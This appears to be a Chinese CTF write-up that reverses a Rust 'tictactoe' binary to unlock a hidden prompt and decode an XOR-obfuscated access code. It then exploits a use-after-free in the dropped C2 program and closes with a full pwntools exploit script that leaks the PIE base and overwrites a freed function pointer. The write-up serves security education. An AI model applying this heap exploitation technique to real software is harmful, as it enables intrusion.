[rsp+A8h] [rbp-2B0h] int v75; // [rsp+B0h] [rbp-2A8h] int v76; // [rsp+B8h] [rbp-2A0h] struct _Unwind_Exception *v77; // [rsp+C0h] [rbp-298h] int v78[2]; // [rsp+C8h] [rbp-290h] int v80; // [rsp+D8h] [rbp-280h] BYREF char v81; // [rsp+DFh] [rbp-279h] int v82[6]; // [rsp+E0h] [rbp-278h] BYREF _BYTE v83[24]; // [rsp+F8h] [rbp-260h] BYREF int v84[2]; // [rsp+110h] [rbp-248h] BYREF int v85[2]; // [rsp+118h] [rbp-240h] int v86[2]; // [rsp+120h] [rbp-238h] __int64 v87; // [rsp+128h] [rbp-230h] BYREF __int64 v88; // [rsp+130h] [rbp-228h] BYREF int v89; // [rsp+13Ch] [rbp-21Ch] BYREF _QWORD v90[3]; // [rsp+140h] [rbp-218h] BYREF _QWORD v91[3]; // [rsp+158h] [rbp-200h] BYREF _BYTE v92[48]; // [rsp+170h] [rbp-1E8h] BYREF _OWORD v93[3]; // [rsp+1A0h] [rbp-1B8h] BYREF __int128 v94; // [rsp+1D0h] [rbp-188h] BYREF __int128 v95; // [rsp+1E0h] [rbp-178h] BYREF __int128 v96; // [rsp+1F0h] [rbp-168h] BYREF int v97[2]; // [rsp+200h] [rbp-158h] BYREF int v98[2]; // [rsp+208h] [rbp-150h] int v99[2]; // [rsp+210h] [rbp-148h] int v100[2]; // [rsp+218h] [rbp-140h] int v101[2]; // [rsp+220h] [rbp-138h] BYREF int v102[4]; // [rsp+228h] [rbp-130h] int v103[2]; // [rsp+238h] [rbp-120h] _BYTE v104[48]; // [rsp+240h] [rbp-118h] BYREF _BYTE v105[48]; // [rsp+270h] [rbp-E8h] BYREF _QWORD v106[3]; // [rsp+2A0h] [rbp-B8h] BYREF unsigned __int64 v107; // [rsp+2B8h] [rbp-A0h] unsigned __int64 v108; // [rsp+2C0h] [rbp-98h] BYREF int v109[2]; // [rsp+2C8h] [rbp-90h] BYREF __int64 v110; // [rsp+2D0h] [rbp-88h] _QWORD v111[2]; // [rsp+2D8h] [rbp-80h] BYREF _QWORD v112[3]; // [rsp+2E8h] [rbp-70h] BYREF _QWORD v113[2]; // [rsp+300h] [rbp-58h] BYREF _QWORD v114[4]; // [rsp+310h] [rbp-48h] BYREF __int128 v115; // [rsp+330h] [rbp-28h] BYREF __int64 v116; // [rsp+340h] [rbp-18h]
v80 = a2; tictactoe::obfuscate_pattern((int)v82, a2, a3, a4, a5, a6, v37, v40, v43, v46, v50, v52, v54, v59, v62, v64); alloc::string::String::new(v83); v6 = <alloc::vec::Vec<T,A> as core::ops::deref::Deref>::deref(a3); v76 = v7; v77 = (struct _Unwind_Exception *)v6; v8 = core::slice::<impl [T]>::iter(v6, v7); v72 = v9; v73 = v8; v10 = <I as core::iter::traits::collect::IntoIterator>::into_iter(v8, v9); v70 = v11; v71 = v10; *(_QWORD *)v84 = v10; *(_QWORD *)v85 = v11; while ( 1 ) { *(_QWORD *)v86 = <core::slice::iter::Iter<T> as core::iter::traits::iterator::Iterator>::next(v84); if ( !*(_QWORD *)v86 ) break; v87 = **(_QWORD **)v86; v88 = *(_QWORD *)(*(_QWORD *)v86 + 8LL); v89 = *(_DWORD *)(*(_QWORD *)v86 + 16LL); core::fmt::rt::Argument::new_display(&v94, &v89); core::fmt::rt::Argument::new_display(&v95, &v87); core::fmt::rt::Argument::new_display(&v96, &v88); v93[0] = v94; v93[1] = v95; v93[2] = v96; core::fmt::Arguments::new_v1(v92, &unk_3A5110, v93); alloc::fmt::format((unsigned int)v91, (unsigned int)v92); v90[0] = v91[0]; v90[1] = v91[1]; v90[2] = v91[2]; v35 = <alloc::string::String as core::ops::deref::Deref>::deref(v90); v41 = v36; v44 = v35; alloc::string::String::push_str(v83, v35, v36); core::ptr::drop_in_place<alloc::string::String>(v90); } v12 = <alloc::string::String as core::ops::deref::Deref>::deref(v82); regex::regex::string::Regex::new( (int)v101, v12, v13, v14, v15, v16, v38, v41, v44, v47, v51, v53, v55, v60, v63, v65, v66, v67, v68, v69, v13, v12, 0, v70, v71, v72, v73, v74, v75, v76, v77, a1); if ( !*(_QWORD *)v101 ) { v116 = *(_QWORD *)v103; v115 = *(_OWORD *)v102; core::result::unwrap_failed(aCalledResultUn, 43LL, &v115, &off_3A4EE0, &off_3A50D0); } *(_QWORD *)v97 = *(_QWORD *)v101; *(_QWORD *)v98 = *(_QWORD *)v102; *(_QWORD *)v99 = *(_QWORD *)&v102[2]; *(_QWORD *)v100 = *(_QWORD *)v103; v17 = <alloc::string::String as core::ops::deref::Deref>::deref(v83); if ( (regex::regex::string::Regex::is_match(v97, v17, v18) & 1) != 0 ) { v19 = &off_3A5100; core::fmt::Arguments::new_const(v104, &off_3A5100); std::io::stdio::_print(v104); if ( (tictactoe::validate_access_code((int)v104, (int)&off_3A5100, v31, v32, v33, v34) & 1) != 0 ) { tictactoe::ask_for_credentials(); v81 = 1; } else { v19 = &off_3A4FE8; core::fmt::Arguments::new_const(v105, &off_3A4FE8); std::io::stdio::_print(v105); v81 = 0; } } else { v106[0] = <I as core::iter::traits::collect::IntoIterator>::into_iter(0LL, 5LL); v106[1] = v20; while ( 1 ) { v21 = core::iter::range::<impl core::iter::traits::iterator::Iterator for core::ops::range::Range<A>>::next(v106); v61 = v22; v106[2] = v21; v107 = v22; if ( !v21 ) break; v108 = v107; if ( v107 >= 5 ) core::panicking::panic_bounds_check(v108, 5LL, (__int64)&off_3A50E8); *(_QWORD *)v109 = core::slice::<impl [T]>::iter(*(_QWORD *)v78 + 20 * v108, 5LL); v110 = v28; v19 = (char **)&v80; if ( (<core::slice::iter::Iter<T> as core::iter::traits::iterator::Iterator>::all( (int)v109, (int)&v80, v28, v109[0], v29, v30, (int)v39, v42, v45, v48, v28, v109[0], v56, v61) & 1) != 0 ) { v81 = 1; goto LABEL_21; } v111[0] = 0LL; v111[1] = 5LL; v112[0] = *(_QWORD *)v78; v112[1] = &v108; v112[2] = &v80; v19 = (char **)v112; v49 = core::iter::traits::iterator::Iterator::all(v111, v112); if ( (v49 & 1) != 0 ) { v81 = 1; goto LABEL_21; } } LODWORD(v19) = v78[0]; v113[0] = 0LL; v113[1] = 5LL; v58 = core::iter::traits::iterator::Iterator::all(v113, *(_QWORD *)v78, &v80); if ( (v58 & 1) != 0 ) { v81 = 1; goto LABEL_21; } LODWORD(v19) = v78[0]; v114[0] = 0LL; v114[1] = 5LL; v57 = core::iter::traits::iterator::Iterator::all(v114, *(_QWORD *)v78, &v80); if ( (v57 & 1) == 0 ) { v81 = 0; core::ptr::drop_in_place<regex::regex::string::Regex>((int)v97, v78[0], v23, v24, v25, v26, v39, v42); core::ptr::drop_in_place<alloc::string::String>(v83); core::ptr::drop_in_place<alloc::string::String>(v82); return v81 & 1; } v81 = 1; }LABEL_21: core::ptr::drop_in_place<regex::regex::string::Regex>((int)v97, (int)v19, v23, v24, v25, v26, v39, v42); core::ptr::drop_in_place<alloc::string::String>(v83); core::ptr::drop_in_place<alloc::string::String>(v82); return v81 & 1;}
发现一个叫做 tictactoe::obfuscate_pattern
的函数。
我对 obfuscate
这样的字眼比较敏感,并且函数名中有 pattern
,直觉就告诉我这个函数应该是在检测某种棋盘布局,带着这样的直觉进入函数内部一探究竟,果不其然:
__int64 __fastcall tictactoe::obfuscate_pattern(__int64 a1){ __int64 v1; // rdx __int64 v2; // rcx __int64 v3; // r8 __int64 v4; // r9 __int64 v5; // rax __int64 v6; // rdx int v7; // esi int v8; // edx int v9; // ecx int v10; // r8d int v11; // r9d int v13; // [rsp+8h] [rbp-50h] __int64 v14; // [rsp+28h] [rbp-30h] struct _Unwind_Exception v15; // [rsp+30h] [rbp-28h] BYREF
v14 = alloc::alloc::exchange_malloc(144LL, 8LL); if ( (v14 & 7) != 0 ) core::panicking::panic_misaligned_pointer_dereference(8LL, v14, &off_3A50B8); if ( !v14 ) ((void (__fastcall __noreturn *)(char **, __int64, __int64, __int64, __int64, __int64))core::panicking::panic_null_pointer_dereference)( &off_3A50B8, 8LL, v1, v2, v3, v4); *(_QWORD *)v14 = aX00; *(_QWORD *)(v14 + 8) = 4LL; *(_QWORD *)(v14 + 16) = "O:04>"; *(_QWORD *)(v14 + 24) = 4LL; *(_QWORD *)(v14 + 32) = "X:11mode{"; *(_QWORD *)(v14 + 40) = 4LL; *(_QWORD *)(v14 + 48) = "O:13~"; *(_QWORD *)(v14 + 56) = 4LL; *(_QWORD *)(v14 + 64) = aX22; *(_QWORD *)(v14 + 72) = 4LL; *(_QWORD *)(v14 + 80) = aO31; *(_QWORD *)(v14 + 88) = 4LL; *(_QWORD *)(v14 + 96) = aX33; *(_QWORD *)(v14 + 104) = 4LL; *(_QWORD *)(v14 + 112) = "O:40X:44utf8info\\"; *(_QWORD *)(v14 + 120) = 4LL; *(_QWORD *)(v14 + 128) = "X:44utf8info\\"; *(_QWORD *)(v14 + 136) = 4LL; alloc::slice::<impl [T]>::into_vec(&v15, v14, 9LL); v5 = <alloc::vec::Vec<T,A> as core::ops::deref::Deref>::deref(&v15); v13 = v6; v7 = v5; alloc::slice::<impl [T]>::join(a1, v5, v6, 1LL, 0LL); core::ptr::drop_in_place<alloc::vec::Vec<&str>>((int)&v15, v7, v8, v9, v10, v11, &v15, v13); return a1;}
[...].rodata:0000000000080368 aX00 db 'X:00' ; DATA XREF: tictactoe::obfuscate_pattern+61↓o.rodata:00000000000823BC aO04 db 'O:04' ; DATA XREF: tictactoe::obfuscate_pattern+73↓o.rodata:0000000000082884 aX11 db 'X:11' ; DATA XREF: tictactoe::obfuscate_pattern+86↓o.rodata:0000000000081C24 aO13 db 'O:13' ; DATA XREF: tictactoe::obfuscate_pattern+99↓o.rodata:000000000008190C aX22 db 'X:22' ; DATA XREF: tictactoe::obfuscate_pattern+AC↓o.rodata:0000000000080364 aO31 db 'O:31' ; DATA XREF: tictactoe::obfuscate_pattern+BF↓o.rodata:0000000000080654 aX33 db 'X:33' ; DATA XREF: tictactoe::obfuscate_pattern+D2↓o.rodata:000000000007FB80 aO40 db 'O:40' ; DATA XREF: tictactoe::obfuscate_pattern+E5↓o.rodata:000000000007FB84 aX44 db 'X:44' ; DATA XREF: tictactoe::obfuscate_pattern+F8↓o[...]
棋盘上每个空都是一个 QWORD
,而 aX00
,aO31
这样的名字,很容易让人联想到 X
和 O
棋子,说不定这后面的数字就代表这个棋子在棋盘中的坐标。
猜想是否正确,我们照着输一遍就是了:
Player O's turn. Enter row and column (0-4): 4 0X - - - O- X - O -- - X - -- O - X -O - - - -
Player X's turn. Enter row and column (0-4): 4 4
--- Pattern Recognized! ---
--- Hidden Interface Unlocked ---Enter Username:
Bingo ! 解锁隐藏界面。
现在我们成功进入了 regex::regex::string::Regex::is_match(v97, v17, v18) & 1) != 0
内部,调用了 tictactoe::ask_for_credentials
。这个函数先获取输入作为 username,看了一下它只是随便接收了一个输入,并没有对其做任何判断,说明 username 可以是任意的。然后问我们要 Access Code,并通过 tictactoe::sha256_hash
将我们输入的 Access Code 转换为 sha256
.
__int64 tictactoe::ask_for_credentials(){ int v0; // eax int v1; // edx int v2; // r9d __int64 v3; // rax __int64 v4; // rdx __int64 v5; // rdx int v6; // eax struct _Unwind_Exception *v7; // rdx int v8; // r9d __int64 v9; // rax __int64 v10; // rdx int v11; // eax int v12; // edx int v13; // edx int v14; // ecx int v15; // r8d int v16; // r9d int v18; // [rsp+0h] [rbp-2A8h] int v19; // [rsp+0h] [rbp-2A8h] int v20; // [rsp+8h] [rbp-2A0h] int v21; // [rsp+8h] [rbp-2A0h] int v22; // [rsp+10h] [rbp-298h] int v23; // [rsp+10h] [rbp-298h] int v24; // [rsp+18h] [rbp-290h] int v25; // [rsp+18h] [rbp-290h] int v26; // [rsp+20h] [rbp-288h] int v27; // [rsp+20h] [rbp-288h] char v28; // [rsp+28h] [rbp-280h] char v29; // [rsp+28h] [rbp-280h] struct _Unwind_Exception *v30; // [rsp+30h] [rbp-278h] int v31; // [rsp+38h] [rbp-270h] int v32[12]; // [rsp+C8h] [rbp-1E0h] BYREF _BYTE v33[24]; // [rsp+F8h] [rbp-1B0h] BYREF _BYTE v34[24]; // [rsp+110h] [rbp-198h] BYREF _BYTE v35[48]; // [rsp+128h] [rbp-180h] BYREF __int64 v36; // [rsp+158h] [rbp-150h] BYREF __int64 v37; // [rsp+160h] [rbp-148h] BYREF _QWORD v38[2]; // [rsp+168h] [rbp-140h] BYREF _BYTE v39[48]; // [rsp+178h] [rbp-130h] BYREF __int64 v40; // [rsp+1A8h] [rbp-100h] BYREF __int64 v41; // [rsp+1B0h] [rbp-F8h] BYREF int v42[6]; // [rsp+1B8h] [rbp-F0h] BYREF _BYTE v43[48]; // [rsp+1D0h] [rbp-D8h] BYREF __int128 v44; // [rsp+200h] [rbp-A8h] BYREF __int128 v45; // [rsp+218h] [rbp-90h] BYREF _BYTE v46[64]; // [rsp+228h] [rbp-80h] BYREF __int64 v47; // [rsp+268h] [rbp-40h] __int64 v48[3]; // [rsp+270h] [rbp-38h] BYREF __int64 v49; // [rsp+288h] [rbp-20h] __int64 v50[3]; // [rsp+290h] [rbp-18h] BYREF
core::fmt::Arguments::new_const(v32, &off_3A4FF8); std::io::stdio::_print(v32); alloc::string::String::new(v33); alloc::string::String::new(v34); core::fmt::Arguments::new_const(v35, &off_3A5008); std::io::stdio::_print(v35); v36 = std::io::stdio::stdout(); v49 = <std::io::stdio::Stdout as std::io::Write>::flush(&v36); if ( v49 ) { v50[0] = v49; core::result::unwrap_failed(aCalledResultUn, 43LL, v50, &off_3A4F00, &off_3A5018); } v37 = std::io::stdio::stdin(); v0 = std::io::stdio::Stdin::read_line(&v37, v33); core::result::Result<T,E>::expect( v0, v1, (int)aFailedToReadUs, 23, (int)&off_3A5030, v2, v18, v20, v22, v24, v26, v28, v30, v31); v3 = <alloc::string::String as core::ops::deref::Deref>::deref(v33); v38[0] = core::str::<impl str>::trim(v3, v4); v38[1] = v5; core::fmt::Arguments::new_const(v39, &off_3A5048); std::io::stdio::_print(v39); v40 = std::io::stdio::stdout(); v47 = <std::io::stdio::Stdout as std::io::Write>::flush(&v40); if ( v47 ) { v48[0] = v47; core::result::unwrap_failed(aCalledResultUn, 43LL, v48, &off_3A4F00, &off_3A5058); } v41 = std::io::stdio::stdin(); v6 = std::io::stdio::Stdin::read_line(&v41, v34); core::result::Result<T,E>::expect( v6, (int)v7, (int)aFailedToReadAc, 26, (int)&off_3A5070, v8, v19, v21, v23, v25, v27, v29, v7, v6); v9 = <alloc::string::String as core::ops::deref::Deref>::deref(v34); v11 = core::str::<impl str>::trim(v9, v10); tictactoe::sha256_hash((int)v42, v11, v12); if ( (<alloc::string::String as core::cmp::PartialEq<&str>>::eq(v42, &off_3A4F88) & 1) == 0 ) { core::ptr::drop_in_place<alloc::string::String>(v42); core::fmt::Arguments::new_const(v46, &off_3A5088); std::io::stdio::_print(v46); std::process::exit(1); } core::ptr::drop_in_place<alloc::string::String>(v42); core::fmt::rt::Argument::new_display(&v45, v38); v44 = v45; core::fmt::Arguments::new_v1(v43, &off_3A5098, &v44); std::io::stdio::_print(v43); tictactoe::execute_c2((int)v43, (int)&off_3A5098, v13, v14, v15, v16); core::ptr::drop_in_place<alloc::string::String>(v34); return core::ptr::drop_in_place<alloc::string::String>(v33);}
__int64 __fastcall tictactoe::sha256_hash(int a1, int a2, int a3){ int v3; // ecx int v4; // r8d int v5; // r9d __int64 result; // rax _QWORD *v8; // [rsp+10h] [rbp-178h] int v9[2]; // [rsp+18h] [rbp-170h] struct _Unwind_Exception *src; // [rsp+20h] [rbp-168h] BYREF int v11; // [rsp+28h] [rbp-160h] _BYTE v12[32]; // [rsp+90h] [rbp-F8h] BYREF _BYTE dest[112]; // [rsp+B0h] [rbp-D8h] BYREF _QWORD v14[3]; // [rsp+120h] [rbp-68h] BYREF _BYTE v15[48]; // [rsp+138h] [rbp-50h] BYREF _QWORD v16[2]; // [rsp+168h] [rbp-20h] BYREF _QWORD v17[2]; // [rsp+178h] [rbp-10h] BYREF
<D as digest::digest::Digest>::new((unsigned int)&src); <D as digest::digest::Digest>::update((int)&src, a2, a3, v3, v4, v5, a3, a2, a1, a1, src, v11); memcpy(dest, &src, sizeof(dest)); <D as digest::digest::Digest>::finalize((unsigned int)v12); core::fmt::rt::Argument::new_lower_hex(v17, v12); v16[0] = v17[0]; v16[1] = v17[1]; core::fmt::Arguments::new_v1(v15, &unk_7B290, v16); alloc::fmt::format((unsigned int)v14, (unsigned int)v15); result = *(_QWORD *)v9; *v8 = v14[0]; v8[1] = v14[1]; v8[2] = v14[2]; return result;}
之后 (<alloc::string::String as core::cmp::PartialEq<&str>>::eq(v42, &off_3A4F88) & 1) == 0
将转换结果与 271c6d20f3ba3894199fc3f58b1087130ec340bf85e290b335f8dd4a09ce802f
这串 hash 作对比,如果相同就调用 tictactoe::execute_c2
.
好了,现在只要搞清楚什么样的明文加密成 sha256
后等于上述的值就好了。由于 hash 加密不可逆,有撞库的方法,不过我试了下没啥用,再次成功浪费了几分钟……
那难道我们破解不了明文了吗?别忘了我们还有 tictactoe::decrypt_key
,看名字就知道和解密相关,现在全村的希望都压在这个函数上了……
_QWORD *__fastcall tictactoe::decrypt_key(_QWORD *a1){ __int64 v1; // rax __int64 v2; // rdx __int64 v3; // rax __int64 v4; // rdx __int64 v5; // rax __int64 v6; // rdx int v8[6]; // [rsp+60h] [rbp-108h] BYREF int v9[6]; // [rsp+78h] [rbp-F0h] BYREF int v10[6]; // [rsp+90h] [rbp-D8h] BYREF _QWORD v11[3]; // [rsp+A8h] [rbp-C0h] BYREF _BYTE v12[48]; // [rsp+C0h] [rbp-A8h] BYREF _OWORD v13[3]; // [rsp+F0h] [rbp-78h] BYREF __int128 v14; // [rsp+128h] [rbp-40h] BYREF __int128 v15; // [rsp+138h] [rbp-30h] BYREF __int128 v16; // [rsp+148h] [rbp-20h] BYREF
v1 = core::slice::<impl [T]>::iter(tictactoe::ENC_PART1); core::iter::traits::iterator::Iterator::map(v1, v2); core::iter::traits::iterator::Iterator::collect((int)v8); v3 = ((__int64 (__fastcall *)(void *, __int64))core::slice::<impl [T]>::iter)(&tictactoe::ENC_PART2, 7LL); core::iter::traits::iterator::Iterator::map(v3, v4); core::iter::traits::iterator::Iterator::collect((int)v9); v5 = core::slice::<impl [T]>::iter(tictactoe::ENC_PART3); core::iter::traits::iterator::Iterator::map(v5, v6); core::iter::traits::iterator::Iterator::collect((int)v10); core::fmt::rt::Argument::new_display(&v14, v8); core::fmt::rt::Argument::new_display(&v15, v9); core::fmt::rt::Argument::new_display(&v16, v10); v13[0] = v14; v13[1] = v15; v13[2] = v16; core::fmt::Arguments::new_v1(v12, &unk_7AE08, v13); alloc::fmt::format((unsigned int)v11, (unsigned int)v12); *a1 = v11[0]; a1[1] = v11[1]; a1[2] = v11[2]; core::ptr::drop_in_place<alloc::string::String>(v10); core::ptr::drop_in_place<alloc::string::String>(v9); core::ptr::drop_in_place<alloc::string::String>(v8); return a1;}
分析这个函数,看到它分 ENC_PART1
、ENC_PART2
、ENC_PART3
三部分处理。
.rodata:000000000007ADC5 ; tictactoe::ENC_PART1.rodata:000000000007ADC5 _ZN9tictactoe9ENC_PART117hc9692e3072677d14E db 1Eh.rodata:000000000007ADC5 ; DATA XREF: tictactoe::decrypt_key+11↓o.rodata:000000000007ADC6 db 69h ; i.rodata:000000000007ADC7 db 3Ch ; <.rodata:000000000007ADC8 db 6Bh ; k.rodata:000000000007ADC9 db 34h ; 4.rodata:000000000007ADCA db 69h ; i.rodata:000000000007ADCB db 2Eh ; ..rodata:000000000007ADCC ; tictactoe::ENC_PART2.rodata:000000000007ADCC _ZN9tictactoe9ENC_PART217h32e32663a27b062dE db 36h ; 6.rodata:000000000007ADCC ; DATA XREF: tictactoe::decrypt_key+52↓o.rodata:000000000007ADCD db 23h ; #.rodata:000000000007ADCE db 3Bh ; ;.rodata:000000000007ADCF db 6Dh ; m.rodata:000000000007ADD0 db 6Bh ; k.rodata:000000000007ADD1 db 39h ; 9.rodata:000000000007ADD2 db 6Dh ; m.rodata:000000000007ADD3 ; tictactoe::ENC_PART3.rodata:000000000007ADD3 _ZN9tictactoe9ENC_PART317ha3eec3bbd5f1dfdbE db 6Eh.rodata:000000000007ADD3 ; DATA XREF: tictactoe::decrypt_key:loc_12DDF1↓o.rodata:000000000007ADD4 db 39h ; 9.rodata:000000000007ADD5 db 6Dh ; m.rodata:000000000007ADD6 db 6Ah ; j.rodata:000000000007ADD7 db 69h ; i.rodata:000000000007ADD8 db 3Dh ; =.rodata:000000000007ADD9 db 3Bh ; ;.rodata:000000000007ADDA db 37h ; 7.rodata:000000000007ADDB db 69h ; i
分别对每一部分进行 core::iter::traits::iterator::Iterator::map
操作,然后 core::iter::traits::iterator::Iterator::collect
取操作后的结果。之后 core::fmt::rt::Argument::new_display
将这三部分分别转换为可打印值,一般用于格式化字符串。不过这里通过 v13
数组将这些值拼到一块。core::fmt::Arguments::new_v1
用于将合并后的值转换为格式化参数,用于 alloc::fmt::format
。最后将结果放到 a1
数组中返回。
回想一下之前学过的一点 rust 语法,map
内部一般都会有一个闭包(函数),用于对迭代器中的每一个元素进行一些操作。看函数窗口,我们发现 tictactoe::decrypt_key::{{closure}}
函数,显然,这就是闭包了。
一共有三个,每一个都一样:
__int64 __fastcall tictactoe::decrypt_key::{{closure}}(__int64 a1, _BYTE *a2){ return *a2 ^ 0x5Au;}
闭包对每一个元素进行 ^ 0x5Au
的操作。即对三个 ENC_PART
的每一个元素都进行这样的异或。那我们只要手动提取出完整的 ENC_PART
,然后对每一个 byte 都进行这样的异或,就得到了 Access Code.
终于,我们得到了 /tmp/C2_executable
,但是这个程序并没有直接提供 shell 或者查看 flag 的功能,我们还得继续分析,把它 pwn 掉。好一个一波三折……
好在,生成的 C2 程序不再是 Rust 写的了……
int __fastcall __noreturn main(int argc, const char **argv, const char **envp){ setvbuf(stdout, 0LL, 2, 0LL); for ( agent = malloc(0x10uLL); ; executeAction(agent) ) { displayMenu(); processInput(); }}
__int64 __fastcall executeAction(__int64 (**a1)(void)){ return (*a1)();}
如上,for 循环中先 malloc 了 0x10
的大小,将得到的地址给到 agent
。当一轮循环结束后就会去执行 executeAction
,这个函数将传入的 agent
转换为 __int64 (**a1)(void)
,即一个指向返回 __int64
的无参数函数指针的指针。调用这个函数,会将 (*a1)()
作为返回,即解引用这个二级指针,得到函数指针,并将其作为函数执行。
我们注意到函数列表中有这样一个后门函数:
unsigned __int64 getSecret(){ FILE *stream; // [rsp+8h] [rbp-D8h] char s[200]; // [rsp+10h] [rbp-D0h] BYREF unsigned __int64 v3; // [rsp+D8h] [rbp-8h]
v3 = __readfsqword(0x28u); stream = fopen("flag.txt", "r"); if ( stream ) { fgets(s, 200, stream); fprintf(stdout, "%s\n", s); fclose(stream); } else { perror("couldn't open flag.txt"); } return v3 - __readfsqword(0x28u);}
那么思路就很清楚了,想办法让 agent
的值等于 getSecret
的地址即可。
继续看菜单选项函数:
int processInput(){ __int64 UserInput; // rax _QWORD *v1; // rbx
__isoc99_scanf(" %c", option); option[0] = toupper(option[0]); switch ( option[0] ) { case 'A': LODWORD(UserInput) = (_DWORD)agent; *agent = beginoperation; break; case 'C': *agent = createAccount; puts("==========================="); puts("Registration Form : "); puts("Enter your username: "); v1 = agent; UserInput = getUserInput(); v1[1] = UserInput; break; case 'E': LODWORD(UserInput) = (_DWORD)agent; *agent = exitProgram; break; case 'F': LODWORD(UserInput) = Hackupdate(); break; case 'H': if ( agent ) { LODWORD(UserInput) = (_DWORD)agent; *agent = printID; } else { LODWORD(UserInput) = puts("Not logged in!"); } break; case 'K': LODWORD(UserInput) = (_DWORD)agent; *agent = Checkstatus; break; default: puts("Invalid option!"); exit(1); } return UserInput;}
每个对应选项都会将 agent
的值设置为对应选项要执行的函数的地址。
其中 E
选项会将 agent
设置为 exitProgram
:
unsigned __int64 exitProgram(){ char v1; // [rsp+7h] [rbp-9h] BYREF unsigned __int64 v2; // [rsp+8h] [rbp-8h]
v2 = __readfsqword(0x28u); printf("Sure you want to leave the clan (Y/N)? "); __isoc99_scanf(" %c", &v1); if ( toupper(v1) == 89 ) { puts("Congrats on quitting the revolution"); free(agent); } else { puts("Ok."); } return v2 - __readfsqword(0x28u);}
我们看到它将 agent
释放了,这样我们下次分配同样大小空间的时候就会复用原先 agent
的地址,如果我们复用地址后还能对其进行写入,那就可以将其改成 getSecret
的地址了。
那么我们现在需要的就是找到这样一个 malloc,它将获取 0x10
的空间,我们发现 F
中的 Hackupdate
函数是:
ssize_t Hackupdate(){ void *buf; // [rsp+8h] [rbp-8h]
puts("How did your previous hack go? "); buf = malloc(8uLL); return read(0, buf, 8uLL);}
malloc 了 0x8
字节,加上 metadata 再对齐一下,和 malloc(0x10);
分配的大小应该是一样的,这样一来就成功复用了 agent
的地址,并且,紧接着它会调用 read
向这个地址写入数据。
现在我们只差临门一脚了。由于这个程序开启了 PIE 保护,所以我们得想办法泄漏程序基地址才能计算出 getSecret
的物理地址。
我们发现使用 H
选项会输出一个地址,而这个地址看上去很像程序内部的指令地址:
Command and Control Centere.==========================(H) Generate ID for the agent(A) Begin a new cyber operation(C) Create a new Agent(K) Check status of current cyber operation(F) Provide updates about your current hack.)(E) Exit> HUser ID: 0x5609404d243c
看其对应的反编译代码,调用了 generateUserID
,然后通过 printf
输出返回值:
int printID(){ return printf("User ID: %p\n", generateUserID);}
char *generateUserID(){ int v0; // eax unsigned int i; // [rsp+4h] [rbp-Ch] FILE *stream; // [rsp+8h] [rbp-8h]
if ( !initialized_1 ) { memset(userid_0, 48, sizeof(userid_0)); stream = fopen("/dev/urandom", "rb"); if ( stream ) { for ( i = 0; i <= 0x1F; i += 2 ) { v0 = fgetc(stream); sprintf(&userid_0[i], "%02hhx", v0); } fclose(stream); } initialized_1 = 1; } return userid_0;}
generateUserID
会从 /dev/urandom
读取 0x10
字节数据到 userid_0
数组中,并将 userid_0
的地址作为 64-bit 指针返回。
值得注意的是,我们不关心从 /dev/urandom
里面读到的垃圾数据,generateUserID
返回的是 userid_0
在程序中的地址,而非从 /dev/urandom
里读到的值。并且 printf
使用的是 %p
格式化字符,而非 %s
,所以最终打印的是 userid_0
在程序中的地址。虽然它属于 .bss
段,但是开启 PIE 会随机化整个程序的加载地址,故通过这个地址减去它和 PIE 基址之间的偏移,就得到了实际 PIE 基地址。
下面就可以愉快地编写 exploit 了。
呼呼呼,总算写完了……从早上一起来就开始分析这道题,逆向 rust 程序部分大概花了我三小时(其中有一个多小时都是在浪费时间……),逆完拿到 C2 后,一看尼玛怎么是 heap exploitation,不会啊!只觉一阵无力感瞬间袭上心头,flag 近在眼前,我明明已经解决了整个 challenge 中最困难的逆向部分,却倒在了这个看上去不怎么难的堆利用上……洗洗睡了,睡了三小时,半个下午都在无梦中度过……起来发了几句牢骚,又继续研究这个 C2。凭借着脑海中那一点点可怜的 heap exploitation 知识,试图把它突突。结果没想到起来后研究了四十分钟解决了……不算难,甚至可以说很简单……一开始以为漏洞点在 getUserInput
中,浪费了一半多的时间……
最后,这应该是我分析过的最复杂的一个程序,虽然感觉完全就是在做 forensics,pwn 的部分占比有点太小了. 当然,Yan85 VM 分析起来也不比它容易多少,不过这个 challenge 毕竟是 rust 写的,也是我第一次逆向 rust 程序。果然,rust 不用 unsafe
还是很难写出有漏洞的代码的,除非是逻辑漏洞。所以总的来说做完感觉并不是那么牛逼,反而觉得简直不要太简单,但期间还是走了不少弯路,浪费了太多时间,也是难免的……
老实说,在逆向分析的时候,我就是一路猜猜猜,凭借着直觉拿到的 C2,而不是实际的逆向分析能力。但是,实力决定下限,直觉决定上限,实力也是直觉的基础。我觉得有这样敏锐的直觉对于比赛中快速解题还是有很大帮助的,不过有时候直觉容易与事实混淆,可能导致自己掉到坑里困上好几个小时也说不准。总之,应该同时培养逆向分析的硬实力和像直觉这样的软实力,知道什么时候应该深入分析代码,什么时候应该跟着直觉走。
Exploit
#!/usr/bin/env python3
from pwn import ( ELF, args, context, flat, process, raw_input, remote,)
FILE = "./tictactoe"HOST, PORT = "94.237.48.12", 35762
context(log_level="debug", binary=FILE, terminal="kitty")
elf = context.binary
def launch(): if args.L: target = process(FILE) else: target = remote(HOST, PORT) return target
def decrypt(encrypted): return bytes(byte ^ 0x5A for byte in encrypted)
def main(): target = launch()
target.sendlineafter(b": ", b"0 0") target.sendlineafter(b": ", b"0 4") target.sendlineafter(b": ", b"1 1") target.sendlineafter(b": ", b"1 3") target.sendlineafter(b": ", b"2 2") target.sendlineafter(b": ", b"3 1") target.sendlineafter(b": ", b"3 3") target.sendlineafter(b": ", b"4 0") target.sendlineafter(b": ", b"4 4") target.sendlineafter(b": ", b"cub3y0nd")
plaintext = decrypt(b"\x1ei<k4i.6#;mk9mn9mji=;7i") target.sendlineafter(b": ", plaintext)
raw_input("DEBUG") elf = ELF("/tmp/C2_executable")
target.sendlineafter(b"> ", b"H") target.recvuntil(b"ID: ")
piebase = int(target.recvline(), 16) - 0x143C
target.sendlineafter(b"> ", b"E") target.sendlineafter(b"? ", b"Y") target.sendlineafter(b"> ", b"F")
payload = flat(piebase + elf.sym["getSecret"], 0) target.sendlineafter(b"?", payload)
target.interactive()
if __name__ == "__main__": main()